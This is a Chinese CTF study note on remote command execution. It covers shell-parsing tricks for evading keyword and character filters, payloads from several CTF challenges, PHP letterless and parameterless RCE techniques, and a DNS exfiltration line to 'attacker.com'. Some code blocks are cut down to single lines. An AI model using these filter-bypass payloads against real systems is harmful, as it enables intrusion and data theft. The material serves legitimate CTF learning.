RCE补课
RCE补课
linux shell
解析命令的过程
遵循“一切皆字符串原则”,除去特殊符号的作用外,一都认为是字符串,没有别的数据类型
如果出现特殊符号,例如通配符,或者变量,则会全部替换成字符串,再进入shell解析
例如:
cat flag |
这句命令中的 cat 和 flag,事实上都被认为是字符串
然后shell通过空格将参数分隔
第一个位置的参数必须是命令(可执行文件路径、内置命令、函数)
后面的所有位置都作为传递给命令的参数
特殊符号与特殊变量
命令链接符
; 和 || 无论成败都继续执行: ping 127.0.0.1; cat /flag
&& 与运算,仅成功时执行,可以用来盲注:mkdir test && cd test
通配符
* (星号):匹配 任意长度 的任意字符。? (问号):匹配 单个 任意字符。[]:匹配括号内的 任意一个 字符。cat /fla[e-h]{} 扩展生成,cp config.php{,.bak} -> 等效于 cp config.php config.php.bak
在某些 Shell 中,{cat,/flag} 可以像命令一样执行,利用逗号代替空格。
动态执行
` (反引号):
- 作用: 执行引号内的命令,并将输出结果替换到当前位置。
- 例子:
echo "Current user iswhoami"-> 输出Current user is root - CTF 技巧: 这是最古老的命令替换方式。如果
$()被过滤,就用它。
$(...) (Dollar + 括号):
- 作用: 同反引号,但支持嵌套,更现代化。
- 例子:
ping $(whoami).attacker.com-> 利用 DNS 携带数据外带 (OOB)。
$var / ${var} (变量):
- 作用: 调用变量。
- CTF 技巧 (空变量绕过):
c${u}at /flag(假设 u 变量不存在,也就是空),Shell 解析后变成cat /flag。这可以绕过对关键字 “cat” 的检测。
尖括号大全
> 覆盖写入
>> 追加写入
< 控制输入,例如:cat</flag,等价于 cat /flag
<< 嵌入文档:
# 把换行后直到EOF的所有内容,一次性喂给 cat,相当于读取了有次内容的文档,然后写入 file.txt |
<<< 字符串输入:
# 方式 A (常用,但需要管道符): |
其他
# 注释
!! 执行上条命令
!$ 引用上一条命令的最后一个参数
mkdir /var/www/html/extremely/long/path/ |
-- 参数结束标记
绕过关键字或符号
读取文件
常用于关键字过滤,实际上linux读取文件有许多方法
# 1. cat - 最常用的连接文件并打印 |
关于sort:
# 1. 基础用法 - 直接读取 |
写入文件
# 1. 重定向符 (Standard Redirection) |
shell变量扩展/拼接
例如需要执行:
cat flag |
但此时 cat 和 flag 还有 \ 等符号被过滤,可以使用变量扩展:
c=ca;t=t;f=f;l=lag;$c$a $f$l |
来实现一个变量扩展的攻击手法
这里我们就可以更深刻的理解linux的shell解析命令的步骤了
对于有变量以及通配符的位置会先进行替换,等到命令完全变成字符串后再进行shell解析
另外,如果不使用花括号标记变量名界限,则变量名包含第一个无效字符和$之间的所有有效字符
例如:
c=ca;ca=c; |
之后执行:
$cat |
不会被解析为 caat 或者 ct,而是一个空字符,因为变量名是 cat,并没有声明过,所以返回空字符
| 语法 | 含义 | 操作逻辑 | 结果 | 常用场景 |
|---|---|---|---|---|
${file#*/} |
掐头 (短) | 删除从左边开始第一个 / 及其左边内容 |
usr/local/src/backup.tar.gz |
去掉开头的根斜杠 |
${file##*/} |
掐头 (长) | 删除从左边开始最后一个 / 及其左边内容 |
backup.tar.gz |
获取文件名 (等同于 basename) |
${file%.*} |
去尾 (短) | 删除从右边开始第一个 . 及其右边内容 |
/usr/local/src/backup.tar |
去掉扩展名 |
${file%%.*} |
去尾 (长) | 删除从右边开始最后一个 . 及其右边内容 |
/usr/local/src/backup |
去掉所有后缀 |
str="123456789" |
例题
ctfhub最后关

最终payload:
?ip=127.0.0.1%0acd%09fl\ag_is_here%0aca\t%09f* |
使用url编码%0a代替换行符截断命令
%09代替空格
\截断关键字
*通配文件
2025H&NCTF
|
传参 ?Number[]=1 以绕过第一个 preg_match
接下来过滤了很多命令,
但是可以通过设置变量的形式绕过
例如:
cmd=l=l;s=s;($l$s) //ls |
那么拼一个find然后用管道符传给xrag即可
2025cuit网安院ctf
|
隔壁实验室出的一道简单题目,线下赛没打通有点耻辱了,也是总结这篇笔记的初衷
第一关过不过好像无所谓,直接传个passed也能解决,需要过的话可以使用数组绕过,
也可以使用0e科学计数法绕过
然后就进入了rce环节,管道符,通配符,正斜杠,尖括号,这些都没有,命令可以使用变量扩展解决
空格使用%09绕过,分隔符使用%0a绕过,最终需要构造这个命令:
cd ..;cd ..;cd ..;cat flag |
使用上述的替换方式替换即可:
d0g3=cd%09..%0acd%09..%0acd%09..%0al=l%0as=s%0a$l$s //列目录 |
无字母数字RCE:
https://www.cnblogs.com/pursue-security/p/15404150.html
源码大致:
|
核心思路是异或、取反、自增
例如要构造 assert($_POST[_])
a:’%40’^’%21’ ; s:’%7B’^’%08’ ; s:’%7B’^’%08’ ; e:’%7B’^’%1E’ ; r:’%7E’^’%0C’ ; t:’%7C’^’%08’
P:’%0D’^’%5D’ ; O:’%0F’^’%40’ ; S:’%0E’^’%5D’ ; T:’%0B’^’%5F’
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert |
不过这样好像有数字啊
但还有用汉字的:
$_++; //得到1,此时$_=1 |
使用自增的:
$_=[]; |
无参RCE
https://www.cnblogs.com/pursue-security/p/15406272.html
过滤源码类似:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
要执行的代码只能是 a(b(c())); 这种形式
一种方法是利用 getallheader();
然后使用 end() 或 reset() 取出首/尾元素
- end() - 将内部指针指向数组中的最后一个元素,并输出。
- next() - 将内部指针指向数组中的下一个元素,并输出。
- prev() - 将内部指针指向数组中的上一个元素,并输出。
- reset() - 将内部指针指向数组中的第一个元素,并输出。
- each() - 返回当前元素的键名和键值,并将内部指针向前移动。
与php版本有关
php5似乎不能使用getallheader
php7会把注入请求头放在最前面
不知道文章博主是什么版本
我的payload:
?code=eval(reset(getallheaders())); |
aaa:system("dir"); |
那么同理:
eval(end(current(get_defined_vars())));//包含get、post、cookie、file四个参数 |
还可以利用cookie中的session_id:
eval(hex2bin(session_id()))//php的cookie中的session id |
利用 localeconv 获取 . 以直接读取文件
var_dump(current(localeconv())) //. |




